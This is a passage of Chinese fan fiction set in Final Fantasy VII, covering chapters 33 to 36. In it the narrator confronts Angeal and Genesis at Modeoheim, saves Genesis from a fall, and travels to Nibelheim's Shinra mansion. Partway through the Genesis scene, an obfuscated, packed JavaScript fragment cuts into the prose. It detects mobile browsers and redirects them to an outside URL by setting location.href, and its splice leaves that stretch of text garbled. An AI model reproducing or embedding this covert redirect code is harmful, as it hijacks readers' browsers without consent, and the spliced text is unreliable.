萨菲罗斯没有回答我的问题,他很自然地从口袋里抽出手,帮我搭了把手,稳稳地握住了摩托车的另一边把手。 我们并肩推着车,手臂偶尔会不经意地碰到一起。 现在我需要把我的(?)宝贝摩托还回去了,真令人难过。 “我今晚结束工作后,还调查了神罗的资料库,与前科学部门有关。” 萨菲罗斯的声音在夜色里响起。 接着,他就跟我说了一大堆话。 G计划又名吉莉安计划,什么什么的。 我几乎是左耳进右耳出。 那些细节对我而言也没用(我也听不大懂),对我而言,只要知道我们四个可能都不是人就行了。 我们将摩托停放在了神罗大厦的特种兵停泊区后,我将那碗依然温热的面递给他。 “喏。” “……” 他接了过去。 电梯内,我顺着他的话题继续下去。 “那,有我们的信息吗?” “目前,没有。” 没有就没有吧。 “……” 萨菲罗斯提着那袋还温热的拉面,跟在我身后走了出来。电梯门在他身后缓缓合拢。 “你就一点也不在意吗?” 他平稳的声音在我侧后方响起,打破了走廊的寂静。 我停下脚步,转过半个身子看他。 “在意什么?在意我们可能是哪个倒霉科学家用培养皿搞出来的复制品?还是在意我们连生日都没有,只能随便挑一天庆祝?”我耸耸肩,"那又怎样?" 萨菲罗斯站在原地,灯光在他银色的长发上流淌,那双魔晄绿的眼眸静静地看着我。 “……我很在意。” 嗯? “我不确定你的状态,你会不会再突然因为……我不知道的原因……失踪。” “我想知道我和你的真相。” “……” 我歪了歪头。 萨菲罗斯抿了抿唇,在我思考之时,他忽地,问出了那个少年时,时不时会在我面前提起的问题。 “你不会离开我的,对吧?” 奇怪。 “当然啊,我们不是一直在一起吗?未来我们还要一起奴役人类呢!” 没等萨菲罗斯再次开口,我从口袋里翻出了我的房卡。 “……既然你觉得真相重要——” “那我们就一起去找吧。” 轻描淡写的笃定。 —— 她没有转过头,伸出手推开宿舍的门,迈出一步后,随口似的提醒。 “回去好好尝尝面吧,别冷了……嗯,给我拍张照,说说味道。我还挺好奇那家打包后的口感呢。” 萨菲罗斯站在原地。 他提着拉面的那只手,指节似乎极其轻微地收紧了一下。 包装袋发出细微的褶皱声。 “面,当然要吃。” 刹那后,在她进去之前,他的声音恢复了一贯的平稳,“毕竟是你特意为我打包回来的,不是吗?” “好奇的话……“ ”不一起吃吗?” 35. 第33章 莫迪欧海姆村。 冰天雪地之中,我坐了另一辆直升机到达此地。 作为此次带队的1st之一——嗯,我并没有队伍。 扎克斯的队伍比我来的早一些,他好像跟克劳德一起,在另一座雪山坠机了? 【(图片)(图片)前辈你在哪(奔跑陆行鸟.jpg)我们直升机用不了了,只能走过去】 我抖了抖掉进我兜帽里的雪花,随手把被我串成一串的魔兽甩在地上。 【我在另一边。前面是那个魔晄炉?】 杰内西斯怎么会来这么冷的地方,这点温度我确实可以忍受,但是这些雪花冻在我的帅气刀柄上,回去又要出一批保养费。 我拉了拉脸上的面罩,在原地站了一会。 “啧……” 算了,先进去,我不等他们了。 俯下身,我将刀挂好。 雪花四溅。 积雪被爆发的力量瞬间蹬开,如同炸开的白色粉末。 身后的那几具被我随意丢弃的魔兽尸体迅速缩小,最终变成视野尽头模糊的黑点。 眼前只有不断放大的魔晄炉轮廓,以及脚下飞速倒退的、被冰雪覆盖的大地。 到了一个雪坡,我转换姿势,轻而易举的滑下去。 雪坡留下了两道清晰的痕迹,蜿蜒着伸向高处模糊的风雪里。我微微调整重心,灵巧地避开几块凸起的冻土和岩石。魔晄炉那巨大、冰冷的金属轮廓在视野中迅速放大,如同匍匐在雪原上的钢铁巨兽。 它的外壳覆盖着厚厚的冰霜,只有几个巨大的排气口还顽强地冒着白色的蒸汽,在灰蒙蒙的天空下留下转瞬即逝的痕迹。这炉子看起来比米德加那些还要老旧,外壳上锈迹斑斑,有些地方甚至能看到修补过的粗糙焊缝。 风声在耳边呼啸,盖过了其他一切声响。 我眯起眼睛,打量着魔晄炉入口的方向。 有几个守卫,一眼就能认出是杰内西斯的复制体。 好吧,这不重要——关键是此处的魔晄炉的样式我没见过,不知道往哪进去,旁边还有几个山洞,是认真的吗?到底哪里是正门? 要是扎克斯那家伙在就好了,可以让他先去探路。现在只能靠我自己了。 思考了一下,我转身进了右边的那个山洞。 一个小时后。 为什么这里还能有一个带着热水的洗浴室?像是温泉似的。 看一下。 好多管道,哎,这里缺个阀门。 找一下。 温泉温度可调节? 试一下。 居然有鸟类羽毛?白色的,雪地里还有鸟吗? 玩一下…… 等等,这鸟怎么长了安吉尔的脸? 它一看到我就跑掉了。 继续往前走,我居然发现了被长着“安吉尔脸”的一群巨型白鸟围攻的曾和克劳德。 看来在我“探索”的时候,他们也进来了。 一眼就能看出来,那些鸟没有杀意,只是阻拦着他们,不允许他们进入 当我右脚刚迈进来,那些怪鸟就真的像是一群鸟一样,扑哧扑哧的作鸟兽散。 “……” “长,长官!荷兰德在前面!” 克劳德指着前方,他此刻有些狼狈,那头金毛都要垂下来了,看来他的类似同类的家伙对他的头发很感兴趣。 我随手就将口袋里的一颗治愈魔晶石丢给他。 这玩意还是神罗标准配置供给的——我从来都用不到,但每次远门任务都会理所应当的薅几拿去卖。 “哦,我等会就去看看。你们呆在这吧,安吉尔应该也在,不是你们能对付的。” “等等,长官,这样的话我们更应该一起去支援您!” 克劳德提高了声音。 他握紧了手中的标准步枪,刚刚接住治愈魔石的手心还有些温热,那颗小小的晶体仿佛也传递给了他一丝勇气。 “哦?” 我发出一个单音节,饶有兴趣地打量着克劳德那张因为激动而微微泛红的脸,“陆行鸟,胆子变大了嘛。敢顶撞长官了?”我故意拖长了音调,带着几分调侃,“你确定你不是去送人头的?安吉尔一剑就能把你甩到米德加去,信不信?” ”我……“ 我上前,拍了拍他的胳膊,接着又从口袋里掏出一块魔晶石——也是神罗配发的,这是什么魔法来着?雷电,还是冰? ”拿着吧,在这里等我,把我的财产保护好,任务结束我还要拿去卖呢。“ 克劳德就应该学学旁边那个塔克斯,他已经开始休息待命了。 他张了张嘴,似乎还想说什么,比如“这不是财产是战略物资”或者“我不是来帮您看东西的”,但最终还是把话咽了回去。 克劳德只是低下头,看着手里那颗散发着微弱光芒的魔晶石,湛蓝的眼眸里情绪复杂,有不甘,有担忧,还有一丝被强压下去的、想要证明自己的渴望。 “好了,小陆行鸟,”我最后拍了拍克劳德那头有些乱糟糟的金毛,手感还是那么软又扎手,像是在摸某种大型鸟类的羽冠,“我很快就回来。记住,看好东西。” “长官,”克劳德的声音在我身后响起,带着一种豁出去的决心,“请您务必小心!” 我脚步没停,只是随意地抬起手,对着他挥了挥,算是回应。 兜兜转转,我来到了二楼,废弃的一大片空间里,安吉尔背对着我,他的右肩上长着——白色的翅膀。 而且他此刻特地凹了一个十分忧郁又带着威严的姿势,不知要给谁看,我右脚刚迈进来的时候,他猛地转过头。 好了,看他的表情,要等的人应该不是我。 "安吉尔,好久不见。" "……唉,是你啊。" 许久不见,安吉尔显得沧桑了更多。 谁看得出来他其实跟萨菲罗斯差不多一个年纪呢? 我点点头,手已经伸向了背后的刀柄。 没有丝毫犹豫的拔刀出斩—— 安吉尔忽然叫了我的名字。 刀锋在刹那间偏转,在黑发男人的身后,一道巨大的沟壑留在了石砖的墙壁上。 "……怎么了,不打吗?" "你不是要找杰内西斯吗?" 我歪了歪头。 安吉尔的神情有些奇怪。 "是啊,因为我有事情要问他。" "杰内西斯在跟扎克斯战斗,他的劣化已经到了很危险的阶段,可能……" 不是,扎克斯不会要直接把杰内西斯的人头拿了吧? "他们在哪?" 接着,安吉尔就语重心长的把怎么从这里一步步到魔晄炉中心的路线给我复述了一遍,怕我没记住,他又重复了一遍。 我点点头后,转过身,就准备走—— 因为安吉尔看起来也不想跟我打嘛,他好像还在等人。 "……找到杰内西斯的话,如果他跟你说什么……" 我回过头,望着他欲言又止的脸。 "什么?" 安吉尔那张总是带着几分沉稳可靠的脸,此刻却布满了难以言喻的复杂神情。他看着我,嘴唇动了动,好像有很多话想说,却又不知道从何说起,或者说,不知道该不该说。 这家伙,磨磨蹭蹭的,杰内西斯都要被扎克斯打死了,他还在这里欲言又止。 我先开口了。 ”安吉尔,我已经接受了我不是人的设定了,你可以直接说了。“ "……你比起我们,更特殊一些。" 这种事情我早就知道了。 "我当然是最强的,还有别的信息吗?" “……” 安吉尔抿了抿唇,那抹总是面对我和杰内西斯的,无奈的笑意回到了他的脸上,却掩盖不住疲惫的气息。 “不,没什么。” 嗯。 我离开了。 其实我觉得,安吉尔在等扎克斯。 他估计是想死吧。 而且是很认真的那种。 毕竟安吉尔看起来就是我们四个里最有道德的人(其实不是人),随时随地都会从身体里分裂出复制体和怪物这种设定他估计无法接受。 本来我想杀了他的,但他想把这个机会留给扎克斯—— 啊,不能再想了。 离开了那个充满告别意味的房间,我沿着安吉尔所指的路线。 好了。 刚坐电梯上来,我就看见杰内西斯像是被猎枪打中的鸟一样,倒在地上,翅膀颤动着,另一边的扎克斯刚刚收剑。 幸好他还没死透,勉强撑起身子,咳了咳。 我才发现他的一头红毛居然有些褪色了。 ”这就是……怪物的末路。“ 扎克斯向前一步,发出疑惑的声音。 ”可我们不是怪物,是神罗战士啊!“ 杰内西斯完全没有接收到扎克斯的人话,他开始自说自话。 ”‘即使是没有约定的明天,我也必定重返你所在之处……’“ ”既然这个世界觊觎我的生命——“ ”那就同归于尽。“ 他往后,猛地从魔晄炉中心跳下。 ”……“ 我冲过去,跟他一起跳了下去。 杰内西斯瞪大了眼睛,随即,他看我的眼神由震惊再次变化,像是见到了什么甩不开的脏兮兮口香糖。 我一只手扯住他那想要把我掰扯开的手,另一只手掏刀,大太刀的刀口在力道下穿刺铁皮,我们卡在了半空中央。 ”前辈!!!“ 扎克斯在上面叫嚷着。 “放开我,你这碍事的家伙!” 杰内西斯的声音带着明显的气急败坏,他刚刚那点装模做样的气势荡然无存。试图挣脱我紧抓住他胳膊的手。那只完好的黑色翅膀徒劳地扇动着,却无法改变我们悬吊在半空的处境。 我手上加了把劲,把他抓得更牢了。 开玩笑,好不容易逮到他,怎么可能让他跑了? “杰内西斯,别急着去死啊,”我开口,声音在风中显得有些飘忽,但我确保他能听清,“我还有问题要问你呢。” 头顶上方传来扎克斯焦急的喊声:“前辈!杰内西斯!你们怎么样了?抓住!千万要抓牢啊!” 那声音在空旷的炉心内部回荡着,显得格外遥远。 ”我们没事,啧,杰内西斯你别甩我——扎克斯你去找安吉尔吧,他在右边的公共浴室里。“ 我对上面喊道。 头顶上传来扎克斯略带迟疑的声音:“去找安吉尔前辈?在公共浴室?前、前辈你确定吗?” 他显然对这个指示感到困惑。 “当然确定!快去!”我没好气地吼回去,手上用力将“物干竿”的刀柄往金属壁里又嵌深了几分,发出令人牙酸的金属扭曲声,“安吉尔有话要跟你说,很重要!别磨蹭了,这里有我呢!杰内西斯跑不了!” “可是……”扎克斯还想说什么。 “没有可是!快去!这是命令!”我加重了语气。 上方沉默了几秒,随即传来扎克斯似乎下定决心的应答声:"是!前辈!你千万要小心!我、我很快就回来!" 紧接着是急促的脚步声远去的声音,看来他还是选择了执行命令。 接着,我开始慢慢的往上爬. 杰内西斯不说话了,但是他甚至开始拿翅膀打我。 这对吗? "喂,你根本就不想死吧?这算什么?" "……" 回答我的是他翅尖给我腰上的狠狠一戳。 我不甘示弱,用脚去踢他的小臂,得到了他的怒目而视。 但是就是挣脱不开我的手。 我利用嵌在金属壁上的刀柄作为支点,艰难地向上挪动了一小段距离。大太刀与墙壁摩擦,发出刺耳的“嘎吱”声,几块铁锈簌簌落下,掉进下方深不见底的黑暗里。 悬挂的金属壁并不平整,布满了各种管道和突起的铆钉,加上杰内西斯这个“人形挂件”还在不停地扭动挣扎,攀爬起来异常费力。 我发表警告。 ”杰内西斯,别摇了,再摇我要踢你的脸了,你也不想脸上出现我的鞋印吧?“ 红发男人的挣扎诡异的停止了。 他不再挣扎,反而开口骂我。 “你这个该死的怪物,为什么一直追着我?” “我想不想死都跟你没有丝毫关系。” “野蛮人,不回家找你的英雄吗?他要是知道你这么跳下来了,估计不扒你一层皮。” “快松手。” 哦,他不挣扎就行,等我上去了再揍他。 刀柄支撑点与墙壁的摩擦声,我平稳的呼吸,以及杰内西斯断断续续的骂声,在巨大的炉心内部交织回荡。 离上方的平台越来越近了。 我一用力,先将杰内西斯甩到平台上,接着借助一旁的一块裸露的金属,我带着我的刀一齐跳到目的地。 “好了。” 杰内西斯抹了把脸,他半蹲坐在地上,不知为何,保持了沉默,只是望着有些灰头土脸的我。 我从口袋里又开始掏魔晶石。 果不其然,他开始日常锐评我。 “你这又是标准配给的便宜货?一次远程任务你要偷几颗?” 要你管。 我翻出治愈魔晶石,给他稍微稳定了一下。 他身上那些看起来狰狞的伤口在治愈魔法的作用下开始缓慢收缩,虽然无法立刻痊愈,但至少止住了流血,让他苍白的脸色稍稍恢复了一点血色。 但还是很虚。 是因为劣化吗? 我半蹲下,坐在他身边,杰内西斯立马往旁边挪了一些。 啧。 “你劣化还没治好吗?在外面晃荡这么久,荷兰德没能帮到你?” “……荷兰德就是个废物。” 看来你叛逃的日子真是一无是处啊,红毛。 “哦,那你之前要我头发做什么?” “……” 装什么哑巴? 我用刀柄狠狠的戳了戳他的翅膀,算是报复他刚刚在半空中对我的攻击。 没想到杰内西斯的反应比我想的还要大,他几乎是要跳了起来(但他没有力气),最后,狠狠的瞪了我一眼。 “谁让你乱碰我了?” “你之前要我头发干嘛?” “……” ? 我又要戳他一下,杰内西斯偏过了头,带着点白的发丝遮住了他的神情。 “杰诺瓦细胞。” 啊…… 什么鬼。 这不是我那个可能是生物妈(?)的名字吗? 算了。 “哦……没用?” "没用。" 好吧。 下一个问题。 “那我失忆那三个月有什么?还有我这个臂环是做什么的?” 他又开始装死了。 念几句诗也好啊。 于是我戳了他一下,又一下,又一下,又一下。 这次问题要的“阈值”好像很高,戳他的翅膀已经不能让他开口了。 于是我开始用刀柄戳他的脸。 “……你是没事找事吗?滚开。” 果然。 “你告诉我,我就不戳你了。” “……” 我开始恐吓他。 “我等会就把你抓去神罗,让宝条给你做个项圈,然后给这个公司打工到死。” 我的威胁似乎终于刺破了杰内西斯那层故作坚硬的外壳。他那张因为失血和劣化而显得格外苍白的脸上,瞬间浮现出一抹混杂着愤怒和难以置信的神色。那双原本就带着几分忧郁的蓝绿色眼眸猛地抬起,狠狠地瞪着我。 看来他真的很讨厌神罗。 “……打工到死?”他重复着我的话,声音因为虚弱而有些沙哑,但怒气却清晰可辨,“你这脑子里除了战斗和这些乱七八糟的东西,还能不能装点别的?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479178|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他试图撑起身体,想要离我这个“危险分子”远一点,但劣化的身体显然不允许他做出太大的动作,最后只是徒劳地挪动了一下。 “能啊。你告诉我,我就不会把你给神罗。” 杰内西斯看着近在咫尺的、冰冷的金属刀柄,呼吸明显急促了几分。他偏过头,避开与刀柄的直接接触,那绺带着白色的红发滑落下来,遮住了他半边脸颊,也遮住了他眼底可能泄露的情绪。 “……” 好吧,我说实话,我不会把杰内西斯送回神罗。 因为我不久后已经打算带着萨菲罗斯叛逃了,那个压榨公司谁爱呆谁呆。嗯,然后就是建立我们伟大的势力,之后反扑神罗,直接替换政权。 于是我开始掏魔晶石。 红的,绿的,还有白的。 我把那一个个小球堆在他脸上。 “喏。” “……?” “我肯定不会抓你回去的。你先靠这几个魔晶石活几天吧,毕竟这可是硬通货。然后,等我攻下神罗了,就把你接回来,顺便把你这个劣化治了。” 然后就给我打工吧。 说完话后,我拍了拍身上的灰尘,站了起来。 杰内西斯似乎没想到我就这样放弃了。 “你这次到底拿了多少颗魔晶石?” 我都要叛逃了,多掏点怎么了? “别管。记得好好利用这些‘硬通货’,争取在我回来接你之前别饿死或者劣化死了。到时候,我的星际舰队还缺个念诗的吉祥物呢。” 我开始往前走,准备去看看安吉尔那边的事情解决了没有。 “等等-” 身后传来了杰内西斯有些虚弱但依旧带着那股特有傲慢的声音。 我停下脚步,却没有立刻回头,只是侧了侧耳朵,表示我在听。 “你……真的这么想知道那三个月发生的事情?你知道自己是什么吗?” “那你可以告诉我。” 他似乎挣扎着调整了一下坐姿,那些被我随意堆在他身上的魔晶石发出轻微的碰撞声。 正当我以为杰内西斯会就此再次沉默之时,他开口了。 “……去尼布尔海姆,那里有你要的。” 我要的? “为什么偏偏要我去那种地方?你不能直接说吗?” 杰内西斯闭上了眼,沉默弥漫在我们二人之间。 “……既然那么想知道,那你就要自己面对自己的命运。” 我被他这么一顿莫名其妙的谜语整无语了,不过,也是记住了那个地点。 抬起步子,我按了按电梯,再次回头告诫他。 “喂,别死了。” 既然还想活着,那就好好活着。 杰内西斯低着头,他的头发也太多了,我根本看不清他的表情。 “呵,我当然不会就这样消逝……” 他好像还低声说了些什么,但我已经走进电梯了。 估计又是念诗。 电梯门在我身后缓缓合上,隔绝了下方那片充斥着魔晄能量和杰内西斯那家伙古怪气息的空间。金属厢体平稳地上升,只有轻微的运行噪音。 尼布尔海姆。 听起来就像是那种偏僻到连陆行鸟都不愿意拉屎的乡下村子,啊对,确实是某个”陆行鸟“的家乡。 任务结束,就去一趟吧。 直升机上,扎克斯哭丧着个脸,他背后背着的剑已经换了款式,是那把巨大的破坏剑。 克劳德跟曾坐在一起,他戴着头盔,不知道该说些什么。 我是最晚回来的,坐好座位后,我将面罩揭下,开口询问。 ”安吉尔死了吗?“ 坐在我对面的扎克斯猛地抬起头,那双总是像阳光一样明亮的湛蓝色眼眸此刻却带着阴霾。他背上那把巨大的破坏剑显得格外沉重,剑柄冰冷的金属光泽反射着仪表盘的光芒,刺得人眼睛有些发疼。 “是,”他的嘴唇动了动,声音沙哑得几乎听不清,像是喉咙里塞满了砂砾,“我,我必须那么做,前辈。那是安吉尔前辈他,他自己的愿望。” 他的双手紧紧握成了拳头,指节因为用力而泛白,身体微微颤抖着,似乎在极力压抑着某种即将崩溃的情绪。 “他把剑,还有他的骄傲和梦想,都托付给我了。我不能,我不能让他失望。” 扎克斯低下头,黑色的刺猬头埋得很低,肩膀微微耸动,压抑的哽咽声断断续续地响起,在轰鸣声中若隐若现。 这家伙,居然哭了?真是少见。 我慢条斯理的开口了,顺便摸了把他的脑袋。 “扎克斯,安吉尔只是回归生命之流了。” “这都是他自愿的选择,你可以理解为……他开始新人生了吧。” 转生式星命学诚不欺我。 我继续用那种我自认为很可靠的语气说道:“说不定他现在已经变成一朵花了,或者是一只天上的鸟,正在某个地方自由自在地飞呢。总比当什么劣化的人造人,天天担心自己会变成怪物要强吧?” 扎克斯依旧没有说话,但他紧握的拳头似乎松开了一些。低垂的脑袋微微动了动,像是在消化我这番奇怪的理论。 坐在扎克斯对面的克劳德,一直悄悄地观察着这边的情况。 他那顶制式头盔遮住了大半张脸,只露出一双湛蓝的眼睛。此刻,那双眼睛里写满了担忧,视线在我和扎克斯之间来回移动,带着一种手足无措的无力感。他张了张嘴,似乎想说些什么安慰的话,但最终只是抿紧了嘴唇,保持了沉默。 这只陆行鸟,还是这么不擅长应对这种场面。 直升机的轰鸣声持续不断,机身随着气流微微震动。窗外的景色开始发生变化,连绵的雪山逐渐被灰褐色的荒野取代,远处地平线上,已经能隐约看到米德加那标志性的、如同巨大伤疤般的钢铁轮廓。 扎克斯终于有了点反应。 他抬起手,用手背胡乱地擦了擦脸,然后慢慢地抬起了头。眼眶还是红红的,脸上也残留着未干的泪痕,但那双湛蓝的眼眸里,先前那种近乎崩溃的悲伤似乎褪去了一些,取而代之的是一种沉重的、却又带着某种决心的东西。 “是啊,前辈,”他吸了吸鼻子,声音依旧沙哑,但比刚才清晰了不少,“安吉尔前辈他,肯定是去寻找他自己的‘自由’了。他一直都是那么向往自由的人。” 扎克斯顿了顿,目光落在了自己背负的那把巨大的破坏剑上,眼神变得坚定起来。 “他把他的梦想托付给我了。我不能辜负他。”他用力地抹了一把脸,试图挤出一个笑容,但那笑容看起来比哭还要难看,“我会连同安吉尔前辈的那份一起,努力成为英雄的!守护好我想要守护的东西!” 然后扎克斯就给了我一个熊抱。 糟糕,他的力气怎么又大了一些,你们这些大剑侠真是…… “前辈-”扎克斯把脸埋在我的肩膀上,声音闷闷的,带着浓重的鼻音,“谢谢你。我,我一定会-” 他似乎想说什么豪言壮语,但最后只是用力地、像是寻求支撑一样,又抱紧了我几分。 好吧,就给他抱。 我们就这样回去了。 回到米德加的这几天,日子好像又恢复了某种程度上的“正常”。 神罗大厦依旧是那个冰冷的钢铁巨兽,士兵们按部就班地巡逻,研究员们行色匆匆,仿佛莫迪欧海姆那场不大不小的风波只是往平静湖面投下了一颗小石子,涟漪散去,一切照旧。 但我知道,有些东西不一样了。 最明显的变化,大概就是扎克斯。 原本那头总是精神抖擞、根根竖起的刺猬黑发,被他留长了一些。 路过的时候,我会去扯一扯。 嗯,不过现在,我需要准备另一件事。 我要出一趟远门了。 几天后的夜晚,我从神罗的停泊区又去顺了一辆摩托——当然,路法斯的摩托不再停在那个位置了,于是我遗憾的只偷了一辆普通的制式摩托。 出发。 36. 第▇▇章 [1] 前往尼布尔海姆。 因为是我私底下的目的地,所以用不了神罗的直升机,那其实是一段有些距离的旅程。 临行前,我给萨菲罗斯发消息,他这几天都在外面做任务,比较忙。 【我要出趟远门】 【去哪?】 坐在随手抢来的神罗制式摩托上,我扯了扯面罩,放慢了速度。 【尼布尔海姆】 【去那做什么?】 【你一个人去?】 【要多久?】 一连串的问题。 我自己也不确定那里有什么,如果杰内西斯是骗我的,那就尴尬了。 于是我回复。 【去探险,是一个人去,很快会回来的。】 【那里的山区地形复杂。正好几天后我有任务,你可以那时跟我一起去。】 【我已经出发了!到时候找到宝贝拍照发你,还会给你带特产(陆行鸟奔跑.jpg)】 毕竟,如果杰内西斯说的“真相”涉及各种研究类文本的话,那我还是需要萨菲罗斯转译人话的。 【嗯。】 【早点回来。】 跟萨菲罗斯报备后,我在终端里发表情包戳了戳某个陆行鸟。 【我要去你家乡玩了,本地人来点游玩建议。】 消息发送成功。我把终端塞回口袋,继续驾驶着摩托车在荒野上疾驰。 路面越来越颠簸,从坚硬的工业废土变成了松软的泥土路,两旁开始出现连绵起伏的丘陵,覆盖着稀疏的草木。偶尔能看到几只胆小的啮齿类小魔物从路边窜过,被摩托车的轰鸣声吓得一溜烟钻进草丛里。 没过多久,终端震动了一下。是克劳德的回复。我放慢车速,停在路边,拿出终端查看。 【欸?!长、长官?!您要去尼布尔海姆?!真的吗?!什么时候?!一个人去吗?!】 【对啊,现在就在路上了。少废话,快说有什么好玩的。】 提到他的家乡,克劳德的话很明显多了不少。 【尼布尔海姆只是个小村子,不过……算是个有名的旅游景点?因为尼布尔山上是第一座魔晄炉,对,还有几年前建造的神罗公馆……听说是某个高层人物的,但我没进去过,看起来很气派,也有点阴森森的。】 【村子里还有个供水塔,是我小时候经常去玩的地方,爬上去视野很好,可以看到整个村子和远处的雪山。呃,不过现在可能有点旧了,不知道还能不能爬。】 【吃的方面,村子里有家小旅馆,老板娘做的苹果派很好吃!真的!我小时候最喜欢了!不知道现在还有没有在做。】 【哦,还有!村子周围的山林里有时候会有一些奇怪的魔物出没,比米德加周围的要厉害一些,长官您一个人去的话,请务必小心!】 【大概,大概就这些吧。也没什么特别的‘好玩’的地方。长官您为什么突然想去那里玩啊?】 我随手回了个表情包。 【想去就去,回来给你带特产啊。】 突然想到了什么,我给我的座驾拍了张照。 【(图片)你们村有停车场吗?我到时候一路开进去停哪?】 【长官不要开进去啊!停外面就好了吧…】 啧,在村子里飙车也不给吗? 接着是扎克斯。 不知道他现在是不是还因为安吉尔的死而有些低沉。 不过,他新换的发型确实太独特了,每次见到他,我都想扯他头上的那撇黑毛。 【扎克斯,我走几天,去尼布尔海姆,你帮我跟爱丽丝说一声。】 终端震动了一下,比我预想的要快一些。看来扎克斯并没有我想象中那么消沉。 【前辈?!尼布尔海姆?!那是克劳德的故乡?您去做什么任务吗?还是……去玩?好像挺偏僻的欸!】 一连串的问号,还是那熟悉的、咋咋呼呼的语气。看来这家伙恢复得不错,或者说,强颜欢笑的本事见长? 【不是任务,去找点东西。】 我言简意赅地回复。 【找东西?什么东西啊前辈?需要帮忙吗?我最近刚好有空——啊不是,我是说,我可以申请调派过去支援前辈!】 他的字里行间透着一股急切,生怕我拒绝似的。 【不用你支援,小事一桩。你老老实实待在米德加训练,顺便帮我照看一下爱丽丝,别让她被神罗那些奇怪的家伙盯上了。】 我可不想带个拖油瓶,而且,他要是跟来了,万一遇到什么跟他认知相悖的“真相”,这家伙估计又要咋呼半天。 还是让他跟爱丽丝待在一起比较好,说不定还能互相安慰一下。 【照看爱丽丝小姐吗?没、没问题!前辈放心!我一定会保护好她的!】 【前辈!早点回来!】 “……” 还要跟谁报备吗? 应该没有了。 我把终端放回了口袋里,拧动油门。 摩托车扬起一阵尘土,朝着地平线的方向疾驰而去。 —— “为什么偏偏要我去那种地方?你不能直接说吗?” 杰内西斯闭上了眼,在阴暗的环境里,我有些看不清他的神情,沉默弥漫在我们二人之间。 “……既然那么想知道,那你就要自己面对自己的命运。” 命运。 这个词,我从不觉得它会降临在我身上。 —— 神罗制式摩托在崎岖不平的土路上颠簸前行。 离开了米德加近郊那片还算平整的废土地带,这里的地形变得更加复杂。高低起伏的丘陵连绵不绝,如同大地隆起的脊背,上面覆盖着枯黄的茅草和一些顽强的、叫不出名字的低矮灌木。偶尔能看到几棵扭曲的枯树,伸展着光秃秃的枝桠,在风中发出呜咽般的声音。 道路也几乎消失了,只剩下一些被过往车辆或大型魔物踩踏出来的、模糊不清的辙印。 我不得不放慢速度,凭着直觉和偶尔从克劳德那里“压榨”出来的地图信息,选择着前进的方向。轮胎碾过碎石,发出嘎吱的声响,每一次颠簸都让车身剧烈晃动。 空气倒是越来越清新了,带着一种原始的、未经污染的泥土和草木混合的气息。 “真相。” 所谓的真相,对我来说,不外乎就是我是谁,从哪里来,为什么会拥有这种力量。 这种问题,重要吗? 知道了又能怎么样?难道还能让我多长几厘米? 不过,萨菲罗斯好像很在意。 虽然他看起来大概已经接受了我们可能不是人的猜想。 还有扎克斯,对于神罗的内情,他什么都不知道吧?作为他的大哥,我肯定要好好的帮他把这一切都捋顺了。 真相,所有人都在追寻的东西。 知道了又能怎样? 穿过乱石滩,前方的地势逐渐变得平缓开阔,路面也稍微好走了些。天色开始慢慢暗下来,太阳不再那么刺眼,光线变得柔和,给荒凉的原野镀上了一层温暖的橙红色。远方的山脉轮廓也更加清晰了,甚至能隐约看到其中一座山峰顶端覆盖着皑皑白雪。 我打开终端上的定位,再次确认。 尼布尔海姆。 远远地,能看到一些微弱的灯火,如同散落在黑色天鹅绒上的碎钻。 那就是尼布尔海姆村了。规模比我想象的还要小。 村子的轮廓在夜色中模糊不清,只能大致看到一些低矮房屋的影子。 在村子的一侧,一座比周围房屋都要高大、也更加气派的建筑轮廓格外显眼,即使在夜晚也能看出它与众不同的风格。 那就是克劳德提到的神罗公馆吧?果然看起来阴森森的,像个鬼屋。 我随手将车停在村外的小道旁,拍了拍身上的尘土,往前走去。 克劳德的故乡啊。 我没有家乡,亲人大概也只有一个。 不懂为什么每次提到这里,金发少年的语句就会多不少,肉眼可见的心情舒缓。 在我眼里,这里只是个相当原始的村落。 沿着那条唯一的土路往村子里走。路两旁的木屋大多门窗紧闭,只有少数几家窗户里透出微弱的灯光,映照出模糊的人影。 偶尔有扇门吱呀一声打开,探出一个脑袋好奇地打量我这个陌生人,眼神里带着明显的警惕和探究,在我看过去的时候又飞快地缩了回去,门再次紧紧关上。 嗯?难道我看起来是什么怪人吗? 只是一身黑漆漆带着大刀而已。 继续往前,神罗公馆的大门是用锁链紧锁的。 “……” 我来到门前,不费吹灰之力就翻了过去。 在高空之时—— 一抹银白刹那闪过。 ……? 落地之后,我扶正刀柄,眯了眯眼。 刚刚,是不是有什么东西,跑到了公馆后面呢? 速度很快,不像是平常的小动物,或者一般的魔兽。 “没有啊,你看错了吧。” 她对我说。 我点点头。 可能是开车开久了。 我拉了拉面罩,接着一脚踹开神罗公馆的门。 扬起的灰尘在门外透进的微弱月光中翻滚、飞舞,如同无数沉睡的精灵被惊醒。呛人的霉味和木头腐朽的气息扑面而来,混杂着一种难以形容的、仿佛时间凝固的死寂味道。 头顶的水晶吊灯蒙着厚厚的蛛网,歪歪斜斜地挂着,仿佛随时会掉下来。墙壁上的壁纸大片剥落,露出底下发黑的墙体,上面挂着几幅歪斜的画框,里面的画早已模糊不清。 这里能有什么东西,啧…… “里面应该有个图书馆吧!” 她啪嗒啪嗒的就准备往前跑,被我一下拉了回来,于是她狠狠的瞪了我一眼。 “你急什么?” “因为,有真相啊!哦,对了,我们看不懂嘛。文本一个个拍照发给萨菲罗斯?” 我踢了她的小腿一下,她立马不爽了,呲着牙看我。 “不着急,先逛逛吧。” 我一脚踢开挡路的一张破椅子,木头碎裂的声音在空旷的大厅里回荡,扬起的灰尘更多了。呛得她咳嗽了两声,用手挥了挥面前的空气。 真麻烦,连走路都要清理障碍。 “图书馆大概在二楼吧,”她自顾自地说,抬手指了指大厅尽头那个布满蛛网、看起来摇摇欲坠的楼梯,“这种老房子的格局都差不多,重要的房间总喜欢放在楼上,显得气派。” 气派?这里现在只剩下一股棺材板味儿了。 